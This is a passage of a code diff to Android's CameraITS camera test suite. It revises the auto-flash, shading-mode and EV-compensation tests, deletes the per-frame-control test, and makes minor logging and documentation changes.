+++ b/apps/CameraITS/tests/its_base_test.py
@@ -52,6 +52,8 @@ NOT_YET_MANDATED = {
'sensor_fusion': [],
}
+logging.getLogger('matplotlib.font_manager').disabled = True
+
class ItsBaseTest(base_test.BaseTestClass):
"""Base test for CameraITS tests.
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
index 7d8b9f2c11e..e407fd65899 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
@@ -71,7 +71,6 @@ class EvCompensationBasicTest(its_base_test.ItsBaseTest):
props = cam.get_camera_properties()
props = cam.override_with_hidden_physical_camera_props(props)
log_path = self.log_path
- debug = self.debug_mode
test_name_w_path = os.path.join(log_path, NAME)
# check SKIP conditions
@@ -113,11 +112,6 @@ class EvCompensationBasicTest(its_base_test.ItsBaseTest):
caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
luma_locked = []
for i, cap in enumerate(caps):
- if debug:
- img = image_processing_utils.convert_capture_to_rgb_image(
- cap, props)
- image_processing_utils.write_image(
- img, f'{test_name_w_path}_ev{ev}_frame{i}.jpg')
if cap['metadata']['android.control.aeState'] == LOCKED:
ev_meta = cap['metadata']['android.control.aeExposureCompensation']
logging.debug('cap EV compensation: %d', ev_meta)
@@ -132,7 +126,8 @@ class EvCompensationBasicTest(its_base_test.ItsBaseTest):
rel_tol=luma_locked_rtol):
raise AssertionError(f'AE locked lumas: {luma_locked}, '
f'RTOL: {luma_locked_rtol}')
- logging.debug('lumas in AE locked captures: %s', str(lumas))
+ logging.debug('lumas per frame ev %d: %s', ev, str(luma_locked))
+ logging.debug('mean lumas in AE locked captures: %s', str(lumas))
if caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
'android.control.aeState'] != LOCKED:
raise AssertionError(f'No AE lock by {THRESH_CONVERGE_FOR_EV} frame.')
diff --git a/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py b/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
index e3143f40d71..7fffa722b4a 100644
--- a/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
+++ b/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
@@ -32,6 +32,7 @@ _NUM_SWITCH_LOOPS = 3
_SHADING_MODES = {0: 'LSC_OFF', 1: 'LSC_FAST', 2: 'LSC_HQ'}
_NUM_SHADING_MODES = len(_SHADING_MODES)
_THRESHOLD_DIFF_RATIO = 0.15
+_VGA_W, _VGA_H = 640, 480
def create_plots(shading_maps, reference_maps, num_map_gains, log_path):
@@ -76,9 +77,8 @@ class ParamShadingModeTest(its_base_test.ItsBaseTest):
Lens shading correction modes are OFF=0, FAST=1, and HQ=2.
- Uses smallest yuv size matching the aspect ratio of largest yuv size to
- reduce some USB bandwidth overhead since we are only looking at output
- metadata in this test.
+ Uses VGA sized captures to reduce some USB bandwidth overhead since we are
+ only looking at output metadata in this test.
First asserts all modes are supported. Then runs 2 captures.
@@ -118,13 +118,11 @@ class ParamShadingModeTest(its_base_test.ItsBaseTest):
% str(props.get('android.shading.availableModes')),
[*_SHADING_MODES])
- # get smallest matching fmt
+ # define fmt
mono_camera = camera_properties_utils.mono_camera(props)
cam.do_3a(mono_camera=mono_camera)
- largest_yuv_fmt = capture_request_utils.get_largest_yuv_format(props)
- largest_yuv_size = (largest_yuv_fmt['width'], largest_yuv_fmt['height'])
- cap_fmt = capture_request_utils.get_smallest_yuv_format(
- props, match_ar=largest_yuv_size)
+ cap_fmt = {'format': 'yuv', 'width': _VGA_W, 'height': _VGA_H}
+ logging.debug('Capture format: %s', str(cap_fmt))
# cap1
reference_maps = [[] for mode in range(_NUM_SHADING_MODES)]
diff --git a/apps/CameraITS/tests/scene2_a/test_auto_flash.py b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
index f16145da1f0..9111e80879a 100644
--- a/apps/CameraITS/tests/scene2_a/test_auto_flash.py
+++ b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
@@ -1,4 +1,4 @@
-# Copyright 2013 The Android Open Source Project
+# Copyright 2022 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -11,27 +11,30 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-"""Verifies android.flash.mode parameters is applied when set."""
+"""Verifies that flash is fired when lighting conditions are dark."""
import logging
import os.path
-from mobly import test_runner
-import its_base_test
import camera_properties_utils
import capture_request_utils
-import lighting_control_utils
import image_processing_utils
+import its_base_test
import its_session_utils
+import lighting_control_utils
+from mobly import test_runner
AE_MODES = {0: 'OFF', 1: 'ON', 2: 'ON_AUTO_FLASH', 3: 'ON_ALWAYS_FLASH',
4: 'ON_AUTO_FLASH_REDEYE', 5: 'ON_EXTERNAL_FLASH'}
AE_STATES = {0: 'INACTIVE', 1: 'SEARCHING', 2: 'CONVERGED', 3: 'LOCKED',
4: 'FLASH_REQUIRED', 5: 'PRECAPTURE'}
-_GRAD_DELTA_ATOL = 100 # gradiant for tablets as screen aborbs energy
-_MEAN_DELTA_ATOL = 100 # mean used for reflective charts
-_NUM_FRAMES = 8
+FLASH_STATES = {0: 'FLASH_STATE_UNAVAILABLE', 1: 'FLASH_STATE_CHARGING',
+ 2: 'FLASH_STATE_READY', 3: 'FLASH_STATE_FIRED',
+ 4: 'FLASH_STATE_PARTIAL'}
+_GRAD_DELTA_ATOL = 15 # gradiant for tablets as screen aborbs energy
+_MEAN_DELTA_ATOL = 15 # mean used for reflective charts
+
_PATCH_H = 0.25 # center 25%
_PATCH_W = 0.25
_PATCH_X = 0.5 - _PATCH_W/2
@@ -40,27 +43,60 @@ _TEST_NAME = os.path.splitext(os.path.basename(__file__))[0]
VGA_W, VGA_H = 640, 480
_CAPTURE_INTENT_STILL_CAPTURE = 2
_AE_MODE_ON_AUTO_FLASH = 2
-
-
-def take_captures(cam, auto_flash=False):
- req = capture_request_utils.auto_capture_request()
- req['android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
- if auto_flash:
- req['android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
- fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
- captures = []
- for _ in range(_NUM_FRAMES):
- one_capture = cam.do_capture(req, fmt)
- captures.append(one_capture)
- return captures
+_CAPTURE_INTENT_PREVIEW = 1
+_CAPTURE_INTENT_STILL_CAPTURE = 2
+_AE_PRECAPTURE_TRIGGER_START = 1
+_AE_PRECAPTURE_TRIGGER_IDLE = 0
+
+
+def turn_off_tablet(tablet_device):
+ output = tablet_device.adb.shell('dumpsys display | grep mScreenState')
+ output_list = str(output.decode('utf-8')).strip().split(' ')
+ for val in output_list:
+ if 'ON' in val:
+ tablet_device.adb.shell(['input', 'keyevent', 'KEYCODE_POWER'])
+
+
+def take_captures_with_flash(cam, fmt):
+ # Run precapture sequence by setting the aePrecapture trigger to
+ # START and capture intent set to Preview.
+ preview_req_start = capture_request_utils.auto_capture_request()
+ preview_req_start[
+ 'android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
+ preview_req_start[
+ 'android.control.captureIntent'] = _CAPTURE_INTENT_PREVIEW
+ preview_req_start[
+ 'android.control.aePrecaptureTrigger'] = _AE_PRECAPTURE_TRIGGER_START
+ # Repeat preview requests with aePrecapture set to IDLE
+ # until AE is converged.
+ preview_req_idle = capture_request_utils.auto_capture_request()
+ preview_req_idle[
+ 'android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
+ preview_req_idle[
+ 'android.control.captureIntent'] = _CAPTURE_INTENT_PREVIEW
+ preview_req_idle[
+ 'android.control.aePrecaptureTrigger'] = _AE_PRECAPTURE_TRIGGER_IDLE
+ # Single still capture request.
+ still_capture_req = capture_request_utils.auto_capture_request()
+ still_capture_req[
+ 'android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
+ still_capture_req[
+ 'android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
+ still_capture_req[
+ 'android.control.aePrecaptureTrigger'] = _AE_PRECAPTURE_TRIGGER_IDLE
+ cap = cam.do_capture_with_flash(preview_req_start,
+ preview_req_idle,
+ still_capture_req, fmt)
+ return cap
class AutoFlashTest(its_base_test.ItsBaseTest):
- """Test that the android.flash.mode parameter is applied."""
+ """Test that flash is fired when lighting conditions are dark."""
def test_auto_flash(self):
logging.debug('AE_MODES: %s', str(AE_MODES))
logging.debug('AE_STATES: %s', str(AE_STATES))
+ logging.debug('FLASH_STATES: %s', str(FLASH_STATES))
with its_session_utils.ItsSession(
device_id=self.dut.serial,
@@ -71,10 +107,10 @@ class AutoFlashTest(its_base_test.ItsBaseTest):
test_name = os.path.join(self.log_path, _TEST_NAME)
# check SKIP conditions
- first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+ vendor_api_level = its_session_utils.get_vendor_api_level(self.dut.serial)
camera_properties_utils.skip_unless(
camera_properties_utils.flash(props) and
- first_api_level >= its_session_utils.ANDROID13_API_LEVEL)
+ vendor_api_level >= its_session_utils.ANDROID13_API_LEVEL)
# establish connection with lighting controller
arduino_serial_port = lighting_control_utils.lighting_control(
@@ -86,23 +122,22 @@ class AutoFlashTest(its_base_test.ItsBaseTest):
# turn OFF tablet to darken scene
if self.tablet:
- output = self.tablet.adb.shell('dumpsys display | grep mScreenState')
- output_list = str(output.decode('utf-8')).strip().split(' ')
- for val in output_list:
- if 'ON' in val:
- self.tablet.adb.shell(['input', 'keyevent', 'KEYCODE_POWER'])
-
+ turn_off_tablet(self.tablet)
+ fmt_name = 'jpeg'
+ fmt = {'format': fmt_name}
+ logging.debug('Testing %s format.', fmt_name)
no_flash_exp_x_iso = 0
no_flash_mean = 0
no_flash_grad = 0
flash_exp_x_iso = []
- flash_means = []
- flash_grads = []
- # take captures with no flash as baseline: use last frame
- logging.debug('Taking reference frame(s) with no flash.')
+ # take capture with no flash as baseline
+ logging.debug('Taking reference frame with no flash.')
cam.do_3a(do_af=False)
- cap = take_captures(cam)[_NUM_FRAMES-1]
+ no_flash_req = capture_request_utils.auto_capture_request()
+ no_flash_req[
+ 'android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
+ cap = cam.do_capture(no_flash_req, fmt)
metadata = cap['metadata']
exp = int(metadata['android.sensor.exposureTime'])
iso = int(metadata['android.sensor.sensitivity'])
@@ -120,65 +155,78 @@ class AutoFlashTest(its_base_test.ItsBaseTest):
patch)[0]*255
no_flash_grad = image_processing_utils.compute_image_max_gradients(
patch)[0]*255
- image_processing_utils.write_image(y, f'{test_name}_no_flash_Y.jpg')
+ image_processing_utils.write_image(
+ y, f'{test_name}_{fmt_name}_no_flash_Y.jpg')
# log results
logging.debug('No flash exposure X ISO %d', no_flash_exp_x_iso)
logging.debug('No flash Y grad: %.4f', no_flash_grad)
logging.debug('No flash Y mean: %.4f', no_flash_mean)
- # take captures with auto flash enabled
- logging.debug('Taking frames with auto flash enabled.')
- cam.do_3a(do_af=False, auto_flash=True)
- caps = take_captures(cam, auto_flash=True)
-
- # evaluate captured images
- for i in range(_NUM_FRAMES):
- logging.debug('frame # %d', i)
- metadata = caps[i]['metadata']
- exp = int(metadata['android.sensor.exposureTime'])
- iso = int(metadata['android.sensor.sensitivity'])
- logging.debug('ISO: %d, exp: %d ns', iso, exp)
- logging.debug('AE_MODE (cap): %s',
- AE_MODES[metadata['android.control.aeMode']])
- ae_state = AE_STATES[metadata['android.control.aeState']]
- logging.debug('AE_STATE (cap): %s', ae_state)
- flash_exp_x_iso.append(exp*iso)
+ # take capture with auto flash enabled
+ logging.debug('Taking capture with auto flash enabled.')
+ flash_fired = False
+
+ cap = take_captures_with_flash(cam, fmt)
+ y, _, _ = image_processing_utils.convert_capture_to_planes(
+ cap, props)
+ # Save captured image
+ image_processing_utils.write_image(y,
+ f'{test_name}_{fmt_name}_flash_Y.jpg')
+ # evaluate captured image
+ metadata = cap['metadata']
+ exp = int(metadata['android.sensor.exposureTime'])
+ iso = int(metadata['android.sensor.sensitivity'])
+ logging.debug('cap ISO: %d, exp: %d ns', iso, exp)
+ logging.debug('AE_MODE (cap): %s',
+ AE_MODES[metadata['android.control.aeMode']])
+ ae_state = AE_STATES[metadata['android.control.aeState']]
+ logging.debug('AE_STATE (cap): %s', ae_state)
+ flash_state = FLASH_STATES[metadata['android.flash.state']]
+ logging.debug('FLASH_STATE: %s', flash_state)
+ if flash_state == 'FLASH_STATE_FIRED':
+ logging.debug('Flash fired')
+ flash_fired = True
+ flash_exp_x_iso = exp*iso
y, _, _ = image_processing_utils.convert_capture_to_planes(
- caps[i], props)
+ cap, props)
patch = image_processing_utils.get_image_patch(
y, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
- flash_means.append(
- image_processing_utils.compute_image_means(patch)[0]*255)
- flash_grads.append(
- image_processing_utils.compute_image_max_gradients(patch)[0]*255)
+ flash_mean = image_processing_utils.compute_image_means(
+ patch)[0]*255
+ flash_grad = image_processing_utils.compute_image_max_gradients(
+ patch)[0]*255
- image_processing_utils.write_image(
- y, f'{test_name}_auto_flash_Y_{i}.jpg')
-
- if i == 0:
- if ae_state != AE_STATES[4]: # FLASH_REQUIRED
- raise AssertionError('Scene not dark enough to trigger auto-flash. '
- 'Check scene.')
+ if not flash_fired:
+ raise AssertionError('Flash was not fired.')
# log results
- logging.debug('Flash exposure X ISOs %s', str(flash_exp_x_iso))
- logging.debug('Flash frames Y grads: %s', str(flash_grads))
- logging.debug('Flash frames Y means: %s', str(flash_means))
-
- # turn lights back ON
- lighting_control_utils.set_lighting_state(
- arduino_serial_port, self.lighting_ch, 'ON')
+ logging.debug('Flash exposure X ISO %d', flash_exp_x_iso)
+ logging.debug('Flash frames Y grad: %.4f', flash_grad)
+ logging.debug('Flash frames Y mean: %.4f', flash_mean)
# assert correct behavior
- grad_delta = max(flash_grads) - no_flash_grad
- mean_delta = max(flash_means) - no_flash_mean
+ grad_delta = flash_grad - no_flash_grad
+ mean_delta = flash_mean - no_flash_mean
if not (grad_delta > _GRAD_DELTA_ATOL or
mean_delta > _MEAN_DELTA_ATOL):
raise AssertionError(
f'grad FLASH-OFF: {grad_delta:.3f}, ATOL: {_GRAD_DELTA_ATOL}, '
f'mean FLASH-OFF: {mean_delta:.3f}, ATOL: {_MEAN_DELTA_ATOL}')
+ # Ensure that the flash is turned OFF after flash was fired.
+ req = capture_request_utils.auto_capture_request()
+ req['android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
+ cap = cam.do_capture(req, fmt)
+ flash_state_after = FLASH_STATES[cap['metadata']['android.flash.state']]
+ logging.debug('FLASH_STATE after flash fired: %s', flash_state_after)
+ if flash_state_after != 'FLASH_STATE_READY':
+ raise AssertionError('Flash should turn OFF after it was fired.')
+
+ # turn lights back ON
+ lighting_control_utils.set_lighting_state(
+ arduino_serial_port, self.lighting_ch, 'ON')
+
if __name__ == '__main__':
test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_a/test_num_faces.py b/apps/CameraITS/tests/scene2_a/test_num_faces.py
index 304b67b342b..f7e111bfea9 100644
--- a/apps/CameraITS/tests/scene2_a/test_num_faces.py
+++ b/apps/CameraITS/tests/scene2_a/test_num_faces.py
@@ -16,6 +16,8 @@
import logging
import os.path
+
+import cv2
from mobly import test_runner
import its_base_test
@@ -23,7 +25,6 @@ import camera_properties_utils
import capture_request_utils
import image_processing_utils
import its_session_utils
-import cv2
FD_MODE_OFF = 0
FD_MODE_SIMPLE = 1
@@ -149,8 +150,7 @@ class NumFacesTest(its_base_test.ItsBaseTest):
logging.debug('active array size: %s', str(a))
file_name_stem = os.path.join(self.log_path, NAME)
- if camera_properties_utils.read_3a(props):
- _, _, _, _, _ = cam.do_3a(get_results=True, mono_camera=mono_camera)
+ cam.do_3a(mono_camera=mono_camera)
for fd_mode in fd_modes:
logging.debug('face detection mode: %d', fd_mode)
diff --git a/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py b/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py
deleted file mode 100644
index eaa553110d3..00000000000
--- a/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py
+++ /dev/null
@@ -1,305 +0,0 @@
-# Copyright 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-"""Verifies per_frame_control."""
-
-
-import logging
-import os.path
-import matplotlib
-from matplotlib import pylab
-from mobly import test_runner
-import numpy as np
-
-import its_base_test
-import camera_properties_utils
-import capture_request_utils
-import image_processing_utils
-import its_session_utils
-
-_AE_STATE_CONVERGED = 2
-_AE_STATE_FLASH_REQUIRED = 4
-_DELTA_GAIN_THRESH = 3 # >3% gain change --> luma change in same dir.
-_DELTA_LUMA_THRESH = 3 # 3% frame-to-frame noise test_burst_sameness_manual.
-_DELTA_NO_GAIN_THRESH = 1 # <1% gain change --> min luma change.
-_NAME = os.path.splitext(os.path.basename(__file__))[0]
-_NS_TO_MS = 1.0E-6
-_NUM_CAPS = 1
-_NUM_FRAMES = 30
-_PATCH_H = 0.1 # Center 10%.
-_PATCH_W = 0.1
-_PATCH_X = 0.5 - _PATCH_W/2
-_PATCH_Y = 0.5 - _PATCH_H/2
-_RAW_NIBBLE_SIZE = 6 # Used to increase NUM_CAPS & decrease NUM_FRAMES for RAW.
-_RAW_GR_CH = 1
-_VALID_LUMA_MIN = 0.1
-_VALID_LUMA_MAX = 0.9
-_YUV_Y_CH = 0
-
-
-def _check_delta_luma_vs_delta_gain(fmt, j, lumas, total_gains):
- """Determine if luma and gain move together for current frame."""
- delta_gain = total_gains[j] - total_gains[j-1]
- delta_luma = lumas[j] - lumas[j-1]
- delta_gain_rel = delta_gain / total_gains[j-1] * 100 # %
- delta_luma_rel = delta_luma / lumas[j-1] * 100 # %
- # luma and total_gain should change in same direction
- if abs(delta_gain_rel) > _DELTA_GAIN_THRESH:
- logging.debug('frame %d: %.2f%% delta gain, %.2f%% delta luma',
- j, delta_gain_rel, delta_luma_rel)
- if delta_gain * delta_luma < 0.0:
- return (f"{fmt['format']}: frame {j}: gain {total_gains[j-1]:.1f} "
- f'-> {total_gains[j]:.1f} ({delta_gain_rel:.1f}%), '
- f'luma {lumas[j-1]} -> {lumas[j]} ({delta_luma_rel:.2f}%) '
- f'GAIN/LUMA OPPOSITE DIR')
- elif abs(delta_gain_rel) < _DELTA_NO_GAIN_THRESH:
- logging.debug('frame %d: <|%.1f%%| delta gain, %.2f%% delta luma', j,
- _DELTA_NO_GAIN_THRESH, delta_luma_rel)
- if abs(delta_luma_rel) > _DELTA_LUMA_THRESH:
- return (f"{fmt['format']}: frame {j}: gain {total_gains[j-1]:.1f} "
- f'-> {total_gains[j]:.1f} ({delta_gain_rel:.1f}%), '
- f'luma {lumas[j-1]} -> {lumas[j]} ({delta_luma_rel:.2f}%), '
- f'<|{_DELTA_NO_GAIN_THRESH:.1f}%| GAIN, '
- f'>|{_DELTA_LUMA_THRESH:.1f}%| LUMA DELTA')
- else:
- logging.debug('frame %d: %.1f%% delta gain, %.2f%% delta luma',
- j, delta_gain_rel, delta_luma_rel)
- return None
-
-
-def _determine_test_formats(cam, props, raw_avlb, debug):
- """Determines the capture formats to test.
-
- Args:
- cam: Camera capture object.
- props: Camera properties dict.
- raw_avlb: Boolean for if RAW captures are available.
- debug: Boolean for whether in debug mode.
- Returns:
- fmts: List of formats.
- """
- largest_yuv = capture_request_utils.get_largest_yuv_format(props)
- match_ar = (largest_yuv['width'], largest_yuv['height'])
- fmt = capture_request_utils.get_smallest_yuv_format(
- props, match_ar=match_ar)
- if raw_avlb and debug:
- return (cam.CAP_RAW, fmt)
- else:
- return (fmt,)
-
-
-def _tabulate_frame_data(metadata, luma, raw_cap, debug):
- """Puts relevant frame data into a dictionary."""
- ae_state = metadata['android.control.aeState']
- iso = metadata['android.sensor.sensitivity']
- isp_gain = metadata['android.control.postRawSensitivityBoost'] / 100
- exp_time = metadata['android.sensor.exposureTime'] * _NS_TO_MS
- total_gain = iso * exp_time
- if not raw_cap:
- total_gain *= isp_gain
- awb_state = metadata['android.control.awbState']
- frame = {
- 'awb_gains': metadata['android.colorCorrection.gains'],
- 'ccm': metadata['android.colorCorrection.transform'],
- 'fd': metadata['android.lens.focusDistance'],
- }
-
- # Convert CCM from rational to float, as numpy arrays.
- awb_ccm = np.array(capture_request_utils.rational_to_float(
- frame['ccm'])).reshape(3, 3)
-
- logging.debug('AE: %d ISO: %d ISP_sen: %d exp: %4fms tot_gain: %f luma: %f',
- ae_state, iso, isp_gain, exp_time, total_gain, luma)
- logging.debug('fd: %f', frame['fd'])
- logging.debug('AWB state: %d, AWB gains: %s\n AWB matrix: %s', awb_state,
- str(frame['awb_gains']), str(awb_ccm))
- if debug:
- logging.debug('Tonemap curve: %s', str(metadata['android.tonemap.curve']))
-
- return frame, ae_state, total_gain
-
-
-def _compute_frame_luma(cap, props, raw_cap):
- """Determines the luma for the center patch of the frame.
-
- RAW captures use GR plane, YUV captures use Y plane.
-
- Args:
- cap: Camera capture object.
- props: Camera properties dict.
- raw_cap: Boolean for capture is RAW or YUV.
- Returns:
- luma: Luma value for center patch of image.
- """
- if raw_cap:
- plane = image_processing_utils.convert_capture_to_planes(
- cap, props=props)[_RAW_GR_CH]
- else:
- plane = image_processing_utils.convert_capture_to_planes(cap)[_YUV_Y_CH]
-
- patch = image_processing_utils.get_image_patch(
- plane, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
- return image_processing_utils.compute_image_means(patch)[0]
-
-
-def _plot_data(lumas, gains, fmt, log_path):
- """Plots lumas and gains data for this test.
-
- Args:
- lumas: List of luma data from captures.
- gains: List of gain data from captures.
- fmt: String to identify 'YUV' or 'RAW' plots.
- log_path: Location to store data.
- """
- norm_gains = [x / max(gains) * max(lumas) for x in gains]
-
- pylab.figure(fmt)
- pylab.plot(range(len(lumas)), lumas, '-g.', label='Center patch brightness')
- pylab.plot(range(len(gains)), norm_gains, '-r.',
- label='Metadata AE setting product')
- pylab.title(_NAME + ' ' + fmt)
- pylab.xlabel('frame index')
-
- # expand y axis for low delta results
- ymin = min(norm_gains + lumas)
- ymax = max(norm_gains + lumas)
- yavg = (ymax + ymin) / 2.0
- if ymax - ymin < 3 * _DELTA_LUMA_THRESH/100:
- ymin = round(yavg - 1.5 * _DELTA_LUMA_THRESH/100, 3)
- ymax = round(yavg + 1.5 * _DELTA_LUMA_THRESH/100, 3)
- pylab.ylim(ymin, ymax)
- pylab.legend()
- matplotlib.pyplot.savefig(
- '%s_plot_%s.png' % (os.path.join(log_path, _NAME), fmt))
-
-
-def _is_awb_af_stable(cap_info, i):
- """Determines if Auto White Balance and Auto Focus are stable."""
- awb_gains_i_1 = cap_info[i-1]['awb_gains']
- awb_gains_i = cap_info[i]['awb_gains']
-
- return (np.allclose(awb_gains_i_1, awb_gains_i, rtol=0.01) and
- cap_info[i-1]['ccm'] == cap_info[i]['ccm'] and
- np.isclose(cap_info[i-1]['fd'], cap_info[i]['fd'], rtol=0.01))
-
-
-class AutoPerFrameControlTest(its_base_test.ItsBaseTest):
- """Tests PER_FRAME_CONTROL properties for auto capture requests.
-
- Takes a sequence of images with auto capture request.
- Determines if luma and gain settings move in same direction for large setting
- changes.
- Small settings changes should result in small changes in luma.
- Threshold for checking is DELTA_GAIN_THRESH. Theshold where not change is
- expected is DELTA_NO_GAIN_THRESH.
-
- While not included in this test, if camera debug is required:
- MANUAL_POSTPROCESSING capability is implied since
- camera_properties_utils.read_3a is valid for test.
-
- debug can also be performed with a defined tonemap curve:
- req['android.tonemap.mode'] = 0
- gamma = sum([[i/63.0,math.pow(i/63.0,1/2.2)] for i in xrange(64)],[])
- req['android.tonemap.curve'] = {'red': gamma, 'green': gamma,
- 'blue': gamma}
- """
-
- def test_auto_per_frame_control(self):
- logging.debug('Starting %s', _NAME)
- with its_session_utils.ItsSession(
- device_id=self.dut.serial,
- camera_id=self.camera_id,
- hidden_physical_id=self.hidden_physical_id) as cam:
- props = cam.get_camera_properties()
- props = cam.override_with_hidden_physical_camera_props(props)
- log_path = self.log_path
-
- # Check SKIP conditions.
- camera_properties_utils.skip_unless(
- camera_properties_utils.per_frame_control(props) and
- camera_properties_utils.read_3a(props))
-
- # Load chart for scene.
- its_session_utils.load_scene(
- cam, props, self.scene, self.tablet, self.chart_distance)
-
- debug = self.debug_mode
- raw_avlb = camera_properties_utils.raw16(props)
- fmts = _determine_test_formats(cam, props, raw_avlb, debug)
-
- failed = []
- for i, fmt in enumerate(fmts):
- logging.debug('fmt: %s', str(fmt['format']))
- cam.do_3a()
- req = capture_request_utils.auto_capture_request()
- cap_info = {}
- ae_states = []
- lumas = []
- total_gains = []
- num_caps = _NUM_CAPS
- num_frames = _NUM_FRAMES
- raw_cap = i == 0 and raw_avlb and debug
- # Break up caps if RAW to reduce bandwidth requirements.
- if raw_cap:
- num_caps = _NUM_CAPS * _RAW_NIBBLE_SIZE
- num_frames = _NUM_FRAMES // _RAW_NIBBLE_SIZE
-
- # Capture frames and tabulate info.
- for j in range(num_caps):
- caps = cam.do_capture([req] * num_frames, fmt)
- for k, cap in enumerate(caps):
- idx = k + j * num_frames
- logging.debug('=========== frame %d ==========', idx)
- luma = _compute_frame_luma(cap, props, raw_cap)
- frame, ae_state, total_gain = _tabulate_frame_data(
- cap['metadata'], luma, raw_cap, debug)
- cap_info[idx] = frame
- ae_states.append(ae_state)
- lumas.append(luma)
- total_gains.append(total_gain)
-
- # Save image.
- img = image_processing_utils.convert_capture_to_rgb_image(
- cap, props=props)
- image_processing_utils.write_image(img, '%s_frame_%s_%d.jpg' % (
- os.path.join(log_path, _NAME), fmt['format'], idx))
-
- _plot_data(lumas, total_gains, fmt['format'], log_path)
-
- # Check correct behavior
- logging.debug('fmt: %s', str(fmt['format']))
- for j in range(1, num_caps * num_frames):
- if _is_awb_af_stable(cap_info, j):
- error_msg = _check_delta_luma_vs_delta_gain(
- fmt, j, lumas, total_gains)
- if error_msg:
- failed.append(error_msg)
- else:
- logging.debug('frame %d -> %d: AWB/AF changed', j-1, j)
-
- for j, luma in enumerate(lumas):
- if ((ae_states[j] == _AE_STATE_CONVERGED or
- ae_states[j] == _AE_STATE_FLASH_REQUIRED) and
- (_VALID_LUMA_MIN > luma or luma > _VALID_LUMA_MAX)):
- failed.append(
- f"{fmt['format']}: frame {j} AE converged luma {luma}. "
- f'Valid range: ({_VALID_LUMA_MIN}, {_VALID_LUMA_MAX})'
- )
- if failed:
- logging.error('Error summary')
- for fail in failed:
- logging.error('%s', fail)
- raise AssertionError
-
-if __name__ == '__main__':
- test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
index 658ec8b377e..cb5be2ae2aa 100644
--- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
@@ -27,7 +27,7 @@ CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 600 # ms
class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest):
"""Test camera launch latency for S performance class as specified in CDD.
- [7.5/H-1-6] MUST have camera2 startup latency (open camera to first preview
+ [2.2.7.2/7.5/H-1-6] MUST have camera2 startup latency (open camera to first preview
frame) < 600ms as measured by the CTS camera PerformanceTest under ITS
lighting conditions (3000K) for both primary cameras.
"""
diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
index f56d34cd5cd..fb19f2fb7c2 100644
--- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
@@ -27,7 +27,7 @@ JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD = 1000 # ms
class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
"""Test jpeg capture latency for S performance class as specified in CDD.
- [7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p
+ [2.2.7.2/7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p
resolution as measured by the CTS camera PerformanceTest under ITS lighting
conditions (3000K) for both primary cameras.
"""
diff --git a/apps/CameraITS/tests/scene3/test_edge_enhancement.py b/apps/CameraITS/tests/scene3/test_edge_enhancement.py
index c6a3bcbc878..c1b63c7a503 100644
--- a/apps/CameraITS/tests/scene3/test_edge_enhancement.py
+++ b/apps/CameraITS/tests/scene3/test_edge_enhancement.py
@@ -67,17 +67,17 @@ def do_capture_and_determine_sharpness(
for n in range(NUM_SAMPLES):
cap = cam.do_capture(req, out_surface, repeat_request=req)
y, _, _ = image_processing_utils.convert_capture_to_planes(cap)
- chart.img = image_processing_utils.normalize_img(
- image_processing_utils.get_image_patch(
- y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+ chart.img = image_processing_utils.get_image_patch(
+ y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm)
if n == 0:
image_processing_utils.write_image(
chart.img, '%s_edge=%d.jpg' % (
os.path.join(log_path, NAME), edge_mode))
